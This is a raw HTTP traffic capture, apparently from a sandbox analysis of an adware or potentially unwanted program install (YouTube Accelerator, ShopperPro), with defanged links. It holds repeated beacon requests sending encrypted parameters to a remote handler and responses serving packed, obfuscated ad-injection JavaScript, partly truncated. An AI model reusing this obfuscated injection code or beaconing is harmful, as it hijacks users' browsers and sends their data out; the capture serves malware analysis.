X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:27:59 GMT

X-Cache: Miss from cloudfront

Via: 1.1 64150aec025f89247bcddad7c210f6cb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: StGYfSzcc3ijwjE9mcB2uB-qC8jybF1Ix7PEJdAiOJur-VML4Hd0dg==
....


GET /21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19Ve0/HVt76ZjAUAvnawhe3hZ317vI6orBfXCSgtUXqN5/aaUzToxOfiz0mbos5SmUuL1RonSUM0G8HF9ed47qLJdLkq GrncHeyXBDP8Ld0 yRF51HAH62EATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcS7BjaBVvBS0790sM6GWwsNGomsaDQQ rjR3l91t6xJHQbFmY65E Yo5tIkZZ3YKA9A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:07 GMT

X-Cache: Miss from cloudfront

Via: 1.1 64150aec025f89247bcddad7c210f6cb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Tijgsp8JY-6FQVUKWUrSJ2AnB8v0hkcjngXFig1q-qNUJb3pDUvd7A==
....


GET /21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VQy3/vmu1URAUAvnawhe3hcica6AIPAez7kya2DQtiCrPuJP0oXNMGY8dGiFiw2ki4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlPFlSG/I5 td1/wd96rWPUrcVkVwS54Va8BZ/mSIx342ns16QeGHmcg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:27:59 GMT

X-Cache: Miss from cloudfront

Via: 1.1 64150aec025f89247bcddad7c210f6cb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AiOUQWyfwSwS66pXDAIb0Y9w-0L-9qwPVloHilsXU-n3rlDX6CTNNQ==
....


GET /21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19Vx5kiKceVrSAAWRkI6Uocf9CUHeR8YCF32aiujnEdaD2RHLN7I11j c7I0Xy20VFhZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKChr8gdm92vo7IQuZjicrqKlmYK5OMGoOmVI9bzsbYy5hhlrkvZV2xQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 64150aec025f89247bcddad7c210f6cb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mKODa4XF-KTfB26PDEZqoClPlM067T4sn_JLvoJPTDuCZKO_BtPoMg==
....


GET /21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VmEkFygc5PV l8LS18/7YS7PiCC4paVhdkXULeZU16opFpTldfxcKbOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZTxZUhvyOfrXdf8Hfeq1j1K3FZFcEueFWvAWf5kiMd Np7NekHhh5nI= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 64150aec025f89247bcddad7c210f6cb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 37y33IjJ9bqmaAOrfQ8xnAeGRlme_e8iS9_un3z-_CRhhb5n9k-VhQ==
....


GET /21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19V1nZT UXyB8cE8SFHLIEPsOit9OsprAChdn2Gh86QFqgE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEuwY2gVbwUtO/dLDOhlsLDRqJrGg0EPq40d5fdbesSR0GxZmOuRPmKObSJGWd2CgPQ= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:00 GMT

X-Cache: Miss from cloudfront

Via: 1.1 64150aec025f89247bcddad7c210f6cb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: NThqHq4BOmETO66Dw-wRdC3RsIaTsw_WpTXz9UBp4KGFqwoha6fIVw==
....


GET /21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VHjGYjGl0N5sE8SFHLIEPsM3UKcKGG9ndxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98WjDAtvxZltJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPgkADCkh95qlw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net



GET /21714.ashx?e=1ZEnpGuz/ISSsSz5Gin3VjtwOqvEtO32VTErbptxeFn8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTINHH/fCjamjshC5mOJyuoqWZgrk4wag6ZUj1vOxtjLsCmnQAndzgRhJsqiS fULSeY/e3xqcYN zjNK4UzrYRLhu0b45kiT8FwTBnjqtB6SJSQWKLfKoAjgb6v7cXpPtruJ2zeNP9BRjldEvIPSqUjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LFhrGAisB0FERgR4y ra1lrqKiwUyB2w2BTrzQo6ieIsaYBRxD7/U A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net



GET /21714.ashx?e=iWAGvaj/S2TSR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VSl3u293svNWe4QpoO1WcaCmF904v4t2D6oTavGxaIHYE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEuwY2gVbwUtO/dLDOhlsLDRqJrGg0EPq40d5fdbesSR0GxZmOuRPmKObSJGWd2CgPQ= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net



GET /21714.ashx?e=hNMAVKhukrxAU1hGZSx JKAnOZSKlWqx7OXLse4BafTbQC nVTu53h5TX6K4Kv02aPIfxYrGBkkg3hsKcVJgdwkAHqpRJS4JYsHJxOr0atW7yKu6t2Tb25k0 z8IQ1IIinlBFt
HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 64150aec025f89247bcddad7c210f6cb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: VgJfLyfm8RFC-4W9TC5JwfUcd8ahWs1YtPMrbJASvXpEutOyunSmyw==
....


GET /21714.ashx?e=lOCrbsNL2zXY n Drgf83ORCMlh3l5QDoOZ8Vy4PwRAQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlXJMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWukn/2 DHs68LnCMwJJTkXqhQNbb34rcpqMD8Jh9T0mMdfeQRNwvtN9j/dHB7BZT3ABZGQjpShx/0JQd5HxgIXdABmFtdiJe0RFBvYhjCj9O4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlPFlSG/I5 td1/wd96rWPUrcVkVwS54Va8BZ/mSIx342ns16QeGHmcg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:01 GMT

X-Cache: Miss from cloudfront

Via: 1.1 64150aec025f89247bcddad7c210f6cb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: JdHX4SDswALO5BjLNcAN8CgqGq5Godz3SWMzX7SdWMszey0V1Ub4Fg==
....


GET /21714.ashx?e=aQQpsP6/AW3r A4x0AgNXcNTnuyhzCsU1lnchBmRgOB4E7mrr1h80jmXqQawsZSOUA7dl9owwhI8WVIb8jn613X/B33qtY9StxWRXBLnhVrwFn ZIjHfjfF7ZDOsdUGBLRxO9upzM6GX1FtTkCv6XEYkL4n1Dcu54nJwzEzT2yFNM7iWe50KMgf1dP3VNJ83kOB3v7aTq0FvQQoYDonDPcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffFowwLb8WZbSeBt3jxB9aapkCNzBoMgw6aVrgli9aT4JAAwpIfeapc= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 64150aec025f89247bcddad7c210f6cb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: fcqdYCSojsg1K44VrivG2JAwO8ht1Z33tJxvu8VKgeO7glJYb3URuQ==
....


GET /21714.ashx?e=qIQu8 l0/f3SR sqobBJuaYM6J9TpnwQQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRlLthe3E5HJFAhTD7v1xeC4SYGfoTYqXvAIcLERiDa7odyS4BuUDC9W3X2f616LHv6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tSMWcK4DxY8OyDeGwpxUmB3CQAeqlElLgliwcnE6vRq1bvIq7q3ZNvb2X5YTxjwZ/k= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 64150aec025f89247bcddad7c210f6cb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: PqcDAzKOUNKRrCyOKQzH_Lj1Vr5ZoFAxW0ZUBb7hvHLZhf34TrcrwA==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 2015 01:28:09 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 64150aec025f89247bcddad7c210f6
cb.cloudfront.net (CloudFront)..X-Amz-Cf-Id: PqcDAzKOUNKRrCyOKQzH_Lj1V
r5ZoFAxW0ZUBb7hvHLZhf34TrcrwA==......


GET /21714.ashx?e=/k6kR j50tqrESd40BFHqTtwOqvEtO32f5NUXepNpdv8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTINHH/fCjamjshC5mOJyuoqWZgrk4wag6ZUj1vOxtjLsCmnQAndzgRhJsqiS fULSeY/e3xqcYN zjNK4UzrYRJ1a2JXaOA92w6kHnR XV4QBZGQjpShx/0JQd5HxgIXdABmFtdiJe0br0BIV93bNcKPuMdH9xkPEqLS1Wgne9fqzbMzc4pOx2GGp9MstS3cDTDTdslR3ozqAqUZoVYaYqeCOGrZlPxTINqCtCGAkJBaxx AjnWvA7ssgX4HQvzDxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoKGvyB2b3a jshC5mOJyuoqWZgrk4wag6ZUj1vOxtjLmGGWuS9lXbF HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 64150aec025f89247bcddad7c210f6cb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: CFduz0-ZUUNzS16acPd87J32fDa2NYluvSUgP-FFEf1Up3OdZq0jQg==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 2015 01:28:13 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 64150aec025f89247bcddad7c210f6
cb.cloudfront.net (CloudFront)..X-Amz-Cf-Id: CFduz0-ZUUNzS16acPd87J32f
Da2NYluvSUgP-FFEf1Up3OdZq0jQg==......


GET /21714.ashx?e=jJl6mEdycnTSR sqobBJuY7XC5kmyJsiQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRjC3V bPuVemmtMU1uXBMoybSR66skE3WhQC drCF7eFih/ZYoECemlhN5Nq9bCx4Mo8BOSaWcoT1pd0pGQJZFEmvv7NOtxjUIEzPoKLI8Bo7LchnHKxLMLp9cMTh3UzKaHi8lJ8ZZ64jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LFhrGAisB0FERgR4y ra1lrqKiwUyB2w2BTrzQo6ieIsaYBRxD7/U A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:15 GMT

X-Cache: Miss from cloudfront

Via: 1.1 64150aec025f89247bcddad7c210f6cb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AXefa94uV8vyzJXV5jsujXYHfvGo2W1mjisiuhoGHQopeam-AJ7rHg==
....


GET /21714.ashx?e=jJl6mEdycnTSR sqobBJuY7XC5kmyJsiQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRjC3V bPuVemFwnxoOIHE6aTQd05qfPsYbPiCC4paVhdDohIbj8Q6VaW5tTYgKyNaPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLDgXx6hK2 FRkosYzjDZZ7v/9tTpqzyWhA9z31I6v096InK1XpjK11o= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:16 GMT

X-Cache: Miss from cloudfront

Via: 1.1 64150aec025f89247bcddad7c210f6cb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: NFWLxBwO6Hh2Q6W4P4vwQIUGH1FDQOr1z-d4tlbcWG94u4dmq7ML4g==
....


GET /21714.ashx?e=A3ANzFv7fWBMy1Jq1olDf9JH6yqhsEm5vLHW6X/VYPFAXdQqxJ1va1k2AtpRMnokIR1sKxPFdTdxsModaWePoUngbd48QfWmqZAjcwaDIMOmla4JYvWk GRDvcFNNMq6rRJV5ICPhWP 7rPtSKe/ IzxRKOyNFpG6DDk8zW/hUJwS/7uvkzjRNFIOcmDDpCEFAL52sIXt4XkathCyw/jA6hWny52hzrnjlpUfr/spfXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN/JMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWstuVUSQ9G23 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:16 GMT

X-Cache: Miss from cloudfront

Via: 1.1 64150aec025f89247bcddad7c210f6cb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: rz_CjjqbXnraohUomFBK9Zs5fQOq8z-vcIlVI2gz8XbaRjvDgrEXGQ==



GET /sbitin/javascript.js?hid=55ab86e2-1aa0-4cd0-9974-956045006e3d&apptitle=ShopperPro&channel=iF1UwJSsmtycl HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: i.sbitinjs.info

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: openresty/1.5.12.1

Date: Fri, 30 Jan 2015 01:29:19 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Fri, 30 Jan 2015 05:29:19 GMT

Cache-Control: max-age=14400

X-Origin: opt

X-Accel-Expires: 0
1c1b../**. * See hXXp://VVV.sbitinjs.info/ for details.. * . * Copyrig
ht (C) 2014 sbitinjs.info. All rights reserved.. */..(function(){try{v
ar tagUrl="hXXp://i.sbitinjs.info/sbitin/javascript.js?hid=55ab86e2-1a
a0-4cd0-9974-956045006e3d&apptitle=ShopperPro&channel=iF1UwJSsmtycl&co
untryCode=UA&sset=7&ip=193.138.244.231";if(typeof window.JavaScriptJsT
agUrl==='undefined'||window.JavaScriptJsTagUrl==null){window.JavaScrip
tJsTagUrl=tagUrl}}catch(e){}try{if(typeof window.JavaScriptJsTags==='u
ndefined'||window.JavaScriptJsTags==null){window.JavaScriptJsTags=""}i
f(window.JavaScriptJsTags.length>0){window.JavaScriptJsTags=window.
JavaScriptJsTags " : "}window.JavaScriptJsTags=window.JavaScriptJsTags
 tagUrl}catch(e2){}})();..eval(function(p,a,c,k,e,r){e=function(c){ret
urn(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 2
9):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]
||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};wh
ile(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);ret
urn p}('6 n;6 o;4(9 2m==="8"){4(9 5==="8"){6 2n=c 2o(T){4(T.h("1X")>
;=0)7 T;t{6 18="";1q(6 i=0;i<T.N;i =2)18=18 2p.2q(2r(T.1r(i,2),16))
;7 18}u(2s){7 T}};6 19="i";6 1a="y";4(O.1b(P 13("1Y\\z","g"))){6 1s=O.
1b(P 13("1Y\\z(. ?)($|\\14|#)"))[1];4(1s.N>0&&1s==="G"){19="2t";4(O
.1b(P 13("1Z\\z","g"))){6 1t=O.1b(P 13("1Z\\z(. ?)($|\\14|#)"))[1];4(1
t.N>0&&1t==="G")1a="G"}}}5={"B":"2u","C":"","U":"","V":"","2v":"","
19":19,"1c":"","1u":"","K":"","1a":1a,"1v":"","1w":"","W":"","Q":"
<<< skipped >>>

GET /opt_content.js?v=opt_1419351787852&partner=sbitin&channel=sbitiniF1UwJSsmtycl&sset=7&appTitle=ShopperPro&sset=7&ip=193.138.244.231 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: i.sbitinjs.info

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: openresty/1.5.12.1

Date: Fri, 30 Jan 2015 01:29:20 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Mon, 02 Feb 2015 01:29:20 GMT

Cache-Control: max-age=259200

X-Origin: opt

X-Accel-Expires: 0
8283../**. * See hXXp://VVV.sbitinjs.info/ for details.. * . * Copyrig
ht (C) 2014 sbitinjs.info. All rights reserved.. */..(function(){try{v
ar tagUrl="hXXp://i.sbitinjs.info/opt_content.js?v=opt_1419351787852&p
artner=sbitin&channel=sbitiniF1UwJSsmtycl&sset=7&appTitle=ShopperPro&s
set=7&ip=193.138.244.231&countryCode=UA&sset=7&ip=193.138.244.231";if(
typeof window.JavaScriptJsTagUrl==='undefined'||window.JavaScriptJsTag
Url==null){window.JavaScriptJsTagUrl=tagUrl}}catch(e){}try{if(typeof w
indow.JavaScriptJsTags==='undefined'||window.JavaScriptJsTags==null){w
indow.JavaScriptJsTags=""}if(window.JavaScriptJsTags.length>0){wind
ow.JavaScriptJsTags=window.JavaScriptJsTags " : "}window.JavaScriptJsT
ags=window.JavaScriptJsTags tagUrl}catch(e2){}})();..eval(function(p,a
,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>
;35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,Stri
ng)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=funct
ion(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b
' e(c) '\\b','g'),k[c]);return p}('"1h"===1g $&&($="a");"1h"===1g 1d&&
(14(a,b){14 d(a){17 f.9R(a)?a:9===a.1O?a.84||a.uy:!1}14 e(a){if(!ya[a]
){1b b=u.2y,c=f("\\2o" a "\\1E").dh(b),d=c.1M("35");c.3i();if("42"===d
||""===d){fa||(fa=u.2B("6M"),fa.jV=fa.2k=fa.2l=0);b.3j(fa);if(!ka||!fa
.2B)ka=(fa.di||fa.jW).1n,ka.uz(("jX"===u.jY?"\\2o!uA 2d\\1E":"") "\\uB
\\1E\\uC\\1E"),ka.uD();c=ka.2B(a);ka.2y.3j(c);d=f.1M(c,"35");b.6N(fa)}
ya[a]=d}17 ya[a]}14 c(a,b){1b c={};f.1C(Ha.bq.2G([],Ha.3D(0,b)),14
<<< skipped >>>


GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d3597u0ojlpfu1.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Wed, 28 Jan 2015 13:59:10 GMT

Last-Modified: Wed, 28 Jan 2015 13:46:47 GMT

ETag: "54c8e847-6721"

Expires: Wed, 28 Jan 2015 14:09:10 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 182

X-Cache: Hit from cloudfront

Via: 1.1 1f3fb60768611bd03244cf06312d5a9c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: cEjaNkiJOP4CMy6nefeguRrEtvIQCOglSHme9LhcXmbeTRkGk1bk7Q==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
